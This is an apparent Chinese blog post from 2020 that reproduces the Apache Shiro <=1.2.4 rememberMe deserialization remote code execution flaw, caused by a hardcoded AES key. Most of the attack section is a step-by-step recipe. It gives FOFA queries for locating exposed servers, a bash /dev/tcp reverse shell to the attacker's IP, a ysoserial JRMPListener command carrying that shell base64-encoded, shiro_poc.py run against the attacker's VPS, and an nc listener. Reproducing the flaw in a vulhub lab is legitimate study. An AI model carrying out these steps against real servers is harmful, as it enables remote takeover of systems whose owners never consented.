Shiro反序列化<=1.2.4 复现

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。   

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。该漏洞对shiro<=1.2.4的版本有影响。

环境搭建

https://github.com/vulhub/vulhub    docker环境

也可以在搜索引擎中找

FOFA

header="rememberme=deleteMe"、header="shiroCookie"

 

环境搭建难点

Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点

1.机器需要安装mvn、svn命令

2.jdk建议为1.6

3.maven版本最好为3.1.1

 

 

一键检测工具

https://github.com/sv3nbeast/ShiroScan

 

漏洞复现

需要2个利用漏洞工具加密

一个是shiro_poc.py   ,用于得到rememberMe

一个是maven,  用于加密监听执行命令

 

1.https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q

制作反弹shell 代码

使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

bash -I >& /dev/tcp ip/端口 0>&1

 

 

 

2.使用ysoserial中JRMP监听模块,监听6666端口 (不同字体就是上面编码后的命令)(注意标黄的位置,是工具名称,注意适时更换)

攻击机中执行命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'

 

 

 

如果没用ysoserial,可安装到shiro.py同目录

或者利用ysoserial进行编码

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests

cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

 

3.新建窗口,生成rememberme,  自己vps的ip,6666是上面ysoserial监听的端口    

python shiro_poc.py vpsip:6666    得到rememberme  (注意这个rememberme是一次性的)

 

 

 

4.新建窗口,监听端口

nc -lvnp  端口  (端口是第1步反弹shell的端口,不是6666端口)

 

5..复制rememberMe到数据包,发送

返回200,有些环境会返回302

注意:删除session和空格

6.返回shell

 

文笔菜, 技术也菜 ,有什么问题可以留言,虽然我不会看。。。。

posted @ 2020-04-10 09:46  Null1433  阅读(2383)  评论(0编辑  收藏  举报